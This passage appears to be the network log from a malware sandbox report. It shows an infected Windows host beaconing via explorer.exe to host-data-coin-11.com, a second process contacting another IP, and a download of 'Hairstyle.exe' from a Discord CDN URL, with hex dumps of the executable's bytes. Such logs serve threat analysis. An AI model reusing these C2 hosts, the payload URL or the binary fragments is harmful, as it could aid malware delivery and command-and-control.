63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49845	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:41.126991987 CET	16247	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://awejs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: host-data-coin-11.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49850	185.7.214.239	80	C:\Users\user\AppData\Local\Temp\8CA5.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49863	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49864	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49867	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49868	185.7.214.239	80	C:\Users\user\AppData\Local\Temp\8CA5.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49747	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.395564079 CET	1171	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qvavjfmo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.507977962 CET	1172	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49748	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.603866100 CET	1173	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://poiftoddew.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.722018003 CET	1174	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49749	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.825201035 CET	1175	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvmcdus.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.945710897 CET	1175	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49798	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:03 UTC	0	OUT	GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-28 04:19:03 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: application/x-msdos-program Content-Length: 537600 Connection: close CF-Ray: 6c47fcf9a87d5bf9-FRA Accept-Ranges: bytes Age: 141110 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hairstyle.exe ETag: "ccbcf301b4a4c51fc6ac6108e1a0a702" Expires: Wed, 28 Dec 2022 04:19:03 GMT Last-Modified: Sun, 26 Dec 2021 01:36:09 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640482569070203 x-goog-hash: crc32c=PSVQSg== x-goog-hash: md5=zLzzAbSkxR/GrGEI4aCnAg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537600 X-GUploader-UploadID: ADPycdueFBCIcpXpwjjPhSfnwX7v2qpZYX17QNFW0kDTuRGuja_YYOsN5NFHyxf0P2m-HrTGiGB8CM7VeDA6wPv7sBk X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 04:19:03 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 65 4f 44 7a 25 32 46 65 5a 33 49 55 36 38 4d 77 37 72 52 44 59 78 6b 5a 68 5a 57 53 59 63 35 32 48 57 39 71 66 42 69 54 4c 72 68 41 58 49 41 57 25 32 42 33 69 5a 4d 38 31 75 52 30 73 38 77 45 59 41 46 31 50 79 51 52 51 4e 33 52 59 63 6d 64 45 56 78 37 32 57 54 56 43 53 6d 45 50 4a 34 61 37 55 6f 50 74 63 36 4b 69 42 6e 39 68 68 52 55 53 57 71 57 68 4a 6a 73 4f 32 4d 49 79 44 4d 66 53 66 71 67 69 38 46 71 61 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eODz%2FeZ3IU68Mw7rRDYxkZhZWSYc52HW9qfBiTLrhAXIAW%2B3iZM81uR0s8wEYAF1PyQRQN3RYcmdEVx72WTVCSmEPJ4a7UoPtc6KiBn9hhRUSWqWhJjsO2MIyDMfSfqgi8Fqag%3D%3D"}],"group":"cf-nel","max_age":60
2021-12-28 04:19:03 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 02 78 ff c8 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2c 08 00 00 06 00 00 00 00 00 00 8e 4b 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELx0,K `@ @
2021-12-28 04:19:03 UTC	2	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 f6 28 a9 00 00 06 28 5d 01 00 06 38 01 00 00 00 2a d0 27 00 00 02 7e 77 Data Ascii: ((0*(((((((((((((((((0*((]8'~w
2021-12-28 04:19:03 UTC	4	IN	Data Raw: 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0e 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f 0e 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28 93 00 00 06 12 05 11 06 09 11 04 1d 1f 0e 1f 1f Data Ascii: (((((((((((((
2021-12-28 04:19:03 UTC	5	IN	Data Raw: 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0f 11 0f 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61 13 10 08 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 0a 17 58 11 10 20 00 ff 00 00 5f 1e 64 d2 9c 08 11 0a Data Ascii: X8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia8->bXX__dX?8Ia _X _d
2021-12-28 04:19:03 UTC	6	IN	Data Raw: 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 0e 17 58 13 0e 11 0e 11 07 3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69 1e 5b 13 0c 11 05 73 21 00 00 0a 73 38 01 00 06 Data Ascii: +X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i[s!s8
2021-12-28 04:19:03 UTC	8	IN	Data Raw: 06 00 00 00 17 80 6a 00 00 04 11 05 2a 7e 6d 00 00 04 02 03 04 05 0e 04 0e 05 6f 2f 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 48 0a 00 70 18 8d 24 00 00 01 25 16 d0 14 00 00 01 28 23 00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a 14 18 8d 0a 00 00 01 25 16 02 8c 14 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a 74 4e 00 00 01 2a 00 1b 30 08 00 e5 63 00 00 12 00 00 11 20 ae 01 00 00 fe 0e 6e 00 38 00 00 00 00 fe 0c 6e 00 45 8c 02 00 00 5d 13 00 00 e0 57 00 00 f9 3c 00 00 be 45 00 00 86 10 00 00 d1 13 00 00 6f 19 00 00 e1 07 00 00 a4 06 00 00 3e Data Ascii: j~mo/0(&0SQ(#rHp$%(#%$(#(m%%ontN0c n8nE]W<Eo>
2021-12-28 04:19:03 UTC	9	IN	Data Raw: 00 8a 13 00 00 ba 25 00 00 6e 2a 00 00 db 17 00 00 1b 3e 00 00 f2 52 00 00 14 05 00 00 f1 1a 00 00 6e 06 00 00 35 3b 00 00 bc 4b 00 00 3c 39 00 00 40 08 00 00 b5 1b 00 00 fe 42 00 00 4e 31 00 00 5f 40 00 00 15 56 00 00 4c 3f 00 00 07 3c 00 00 7f 15 00 00 d4 37 00 00 05 04 00 00 e8 22 00 00 6a 0a 00 00 59 02 00 00 41 13 00 00 d9 09 00 00 f4 36 00 00 e0 01 00 00 68 04 00 00 04 23 00 00 3d 14 00 00 e5 3d 00 00 1f 2b 00 00 62 4c 00 00 a5 10 00 00 30 3c 00 00 22 54 00 00 fa 31 00 00 ae 56 00 00 1b 18 00 00 b1 0e 00 00 e7 32 00 00 ac 37 00 00 7c 56 00 00 cb 55 00 00 4f 07 00 00 17 53 00 00 e1 18 00 00 24 13 00 00 d1 0b 00 00 59 21 00 00 69 1b 00 00 98 55 00 00 6f 38 00 00 73 1f 00 00 3b 31 00 00 62 22 00 00 80 55 00 00 c3 3b 00 00 75 44 00 00 c2 32 00 00 91 34 Data Ascii: %n*>Rn5;K<9@BN1_@VL?<7"jYA6h#==+bL0<"T1V27\|VUOS$Y!iUo8s;1b"U;uD24
2021-12-28 04:19:03 UTC	11	IN	Data Raw: 56 1e 00 00 c3 22 00 00 25 07 00 00 43 22 00 00 7f 31 00 00 99 40 00 00 fa 13 00 00 4c 03 00 00 0b 0e 00 00 1f 17 00 00 40 0c 00 00 75 0d 00 00 94 05 00 00 f1 51 00 00 c6 48 00 00 64 3b 00 00 42 1c 00 00 d9 1a 00 00 aa 38 00 00 2e 44 00 00 ee 1e 00 00 a0 14 00 00 38 58 13 00 00 20 1e 00 00 00 20 61 00 00 00 58 fe 0e 34 00 20 73 00 00 00 38 ad f5 ff ff 11 10 13 4f 20 60 01 00 00 28 1e 01 00 06 39 9a f5 ff ff 26 20 95 01 00 00 38 8f f5 ff ff 38 9a 44 00 00 20 2b 00 00 00 38 80 f5 ff ff 20 56 00 00 00 20 68 00 00 00 58 fe 0e 34 00 20 70 02 00 00 fe 0e 6e 00 38 5f f5 ff ff 11 14 17 1f 65 9c 20 dd 01 00 00 28 1e 01 00 06 3a 4e f5 ff ff 26 20 d1 00 00 00 38 43 f5 ff ff 20 a4 00 00 00 20 36 00 00 00 59 fe 0e 30 00 20 3d 01 00 00 28 1e 01 00 06 39 25 f5 ff ff 26 Data Ascii: V"%C"1@L@uQHd;B8.D8X aX4 s8O `(9& 88D +8 V hX4 pn8_e (:N& 8C 6Y0 =(9%&
2021-12-28 04:19:03 UTC	12	IN	Data Raw: 00 0a 28 17 01 00 06 13 0f 20 cf 01 00 00 38 b7 f0 ff ff fe 0c 3e 00 20 08 00 00 00 20 25 00 00 00 20 49 00 00 00 58 9c 20 51 01 00 00 38 98 f0 ff ff 20 bf 00 00 00 20 3f 00 00 00 59 fe 0e 34 00 20 b1 01 00 00 28 1e 01 00 06 3a 7a f0 ff ff 26 20 8f 01 00 00 38 6f f0 ff ff 20 c3 00 00 00 20 13 00 00 00 58 fe 0e 30 00 20 4e 01 00 00 38 56 f0 ff ff fe 0c 45 00 20 06 00 00 00 20 96 00 00 00 20 32 00 00 00 59 9c 20 ec 00 00 00 38 37 f0 ff ff fe 0c 45 00 20 0d 00 00 00 fe 0c 34 00 9c 20 f7 00 00 00 38 1f f0 ff ff 11 02 16 28 c5 00 00 06 26 20 b3 00 00 00 38 0c f0 ff ff fe 0c 45 00 20 0c 00 00 00 fe 0c 34 00 9c 20 65 02 00 00 38 f4 ef ff ff fe 0c 3e 00 20 00 00 00 00 fe 0c 30 00 9c 20 43 01 00 00 28 1e 01 00 06 3a d7 ef ff ff 26 20 28 00 00 00 38 cc ef ff ff 11 Data Ascii: ( 8> % IX Q8 ?Y4 (:z& 8o X0 N8VE 2Y 87E 4 8(& 8E 4 e8> 0 C(:& (8
2021-12-28 04:19:03 UTC	13	IN	Data Raw: 00 58 fe 0e 30 00 20 d5 00 00 00 38 61 eb ff ff fe 0c 3e 00 20 03 00 00 00 20 ee 00 00 00 20 4f 00 00 00 59 9c 20 89 01 00 00 28 1f 01 00 06 3a 3d eb ff ff 26 20 72 02 00 00 38 32 eb ff ff fe 0c 45 00 20 05 00 00 00 20 7e 00 00 00 20 2a 00 00 00 59 9c 20 3c 02 00 00 28 1e 01 00 06 3a 0e eb ff ff 26 20 bd 00 00 00 38 03 eb ff ff 7e 48 00 00 04 28 ef 00 00 06 16 9a 28 f0 00 00 06 13 03 20 fe 01 00 00 fe 0e 6e 00 38 de ea ff ff 20 32 00 00 00 20 24 00 00 00 58 fe 0e 30 00 20 81 00 00 00 38 c9 ea ff ff 11 09 11 6d 1d 58 11 0c 1d 91 9c 20 a9 00 00 00 38 b4 ea ff ff 11 1e 28 f3 00 00 06 11 17 59 13 6a 20 fb 00 00 00 28 1e 01 00 06 39 99 ea ff ff 26 20 30 01 00 00 38 8e ea ff ff fe 0c 45 00 20 0f 00 00 00 20 c2 00 00 00 20 40 00 00 00 59 9c 20 4f 00 00 00 28 1f Data Ascii: X0 8a> OY (:=& r82E ~ *Y <(:& 8~H(( n8 2 $X0 8mX 8(Yj (9& 08E @Y O(
2021-12-28 04:19:03 UTC	15	IN	Data Raw: ff fe 0c 45 00 20 0f 00 00 00 20 42 00 00 00 20 72 00 00 00 58 9c 20 cd 01 00 00 38 f8 e5 ff ff 11 09 11 6d 19 58 11 63 19 91 9c 20 a1 00 00 00 38 e3 e5 ff ff fe 0c 3e 00 20 10 00 00 00 20 51 00 00 00 20 17 00 00 00 58 9c 20 59 02 00 00 38 c4 e5 ff ff 20 02 00 00 00 20 1b 00 00 00 58 fe 0e 30 00 20 ac 00 00 00 38 ab e5 ff ff fe 0c 3e 00 20 1b 00 00 00 20 c8 00 00 00 20 42 00 00 00 59 9c 20 59 00 00 00 38 8c e5 ff ff 20 7d 00 00 00 20 29 00 00 00 59 fe 0e 30 00 20 69 00 00 00 38 73 e5 ff ff 38 4f f5 ff ff 20 75 00 00 00 28 1f 01 00 06 39 5f e5 ff ff 26 20 48 00 00 00 38 54 e5 ff ff 28 d3 00 00 06 20 66 01 00 00 38 45 e5 ff ff fe 0c 45 00 20 0d 00 00 00 20 b4 00 00 00 20 3c 00 00 00 59 9c 20 6a 01 00 00 38 26 e5 ff ff 16 13 13 20 a1 01 00 00 28 1f 01 00 06 Data Ascii: E B rX 8mXc 8> Q X Y8 X0 8> BY Y8 } )Y0 i8s8O u(9_& H8T( f8EE <Y j8& (
2021-12-28 04:19:03 UTC	16	IN	Data Raw: 00 00 20 64 00 00 00 58 9c 20 16 01 00 00 fe 0e 6e 00 38 a4 e0 ff ff fe 0c 3e 00 20 16 00 00 00 fe 0c 30 00 9c 20 61 01 00 00 38 90 e0 ff ff 20 f4 f3 f2 f1 13 2f 20 15 00 00 00 28 1e 01 00 06 39 7a e0 ff ff 26 20 1e 00 00 00 38 6f e0 ff ff fe 0c 45 00 20 0b 00 00 00 20 1f 00 00 00 20 1c 00 00 00 59 9c 20 84 02 00 00 fe 0e 6e 00 38 48 e0 ff ff 2a 11 47 1a 11 28 12 28 28 b0 00 00 06 26 20 bb 01 00 00 38 34 e0 ff ff 11 2c 11 5f 5d 13 6b 20 52 00 00 00 38 23 e0 ff ff 11 2c 17 58 13 2c 20 78 00 00 00 28 1f 01 00 06 39 0e e0 ff ff 26 20 77 00 00 00 38 03 e0 ff ff 12 47 11 37 11 1e 28 f3 00 00 06 6a 58 11 17 6a 59 28 73 00 00 0a 20 f1 01 00 00 38 e3 df ff ff fe 0c 3e 00 20 19 00 00 00 20 c8 00 00 00 20 42 00 00 00 59 9c 20 d2 01 00 00 38 c4 df ff ff 11 06 8e 3a Data Ascii: dX n8> 0 a8 / (9z& 8oE Y n8H*G(((& 84,_]k R8#,X, x(9& w8G7(jXjY(s 8> BY 8:
2021-12-28 04:19:03 UTC	17	IN	Data Raw: 1e 01 00 06 3a 5d db ff ff 26 20 a7 00 00 00 38 52 db ff ff fe 0c 45 00 20 0d 00 00 00 20 2f 00 00 00 20 21 00 00 00 58 9c 20 ff 00 00 00 38 33 db ff ff 11 50 16 3e 7e e5 ff ff 20 bf 00 00 00 28 1e 01 00 06 3a 1c db ff ff 26 20 7e 00 00 00 38 11 db ff ff 38 45 08 00 00 20 c5 00 00 00 28 1f 01 00 06 3a fd da ff ff 26 20 df 00 00 00 38 f2 da ff ff fe 0c 3e 00 20 1f 00 00 00 fe 0c 30 00 9c 20 57 00 00 00 38 da da ff ff fe 0c 3e 00 20 04 00 00 00 fe 0c 30 00 9c 20 40 02 00 00 38 c2 da ff ff 20 92 00 00 00 20 30 00 00 00 59 fe 0e 30 00 20 43 00 00 00 38 a9 da ff ff 11 09 11 6d 17 58 11 63 17 91 9c 20 6d 01 00 00 38 94 da ff ff 20 7b 00 00 00 20 48 00 00 00 58 fe 0e 34 00 20 9e 01 00 00 38 7b da ff ff 20 33 00 00 00 20 55 00 00 00 58 fe 0e 30 00 20 70 01 00 00 Data Ascii: :]& 8RE / !X 83P>~ (:& ~88E (:& 8> 0 W8> 0 @8 0Y0 C8mXc m8 { HX4 8{ 3 UX0 p
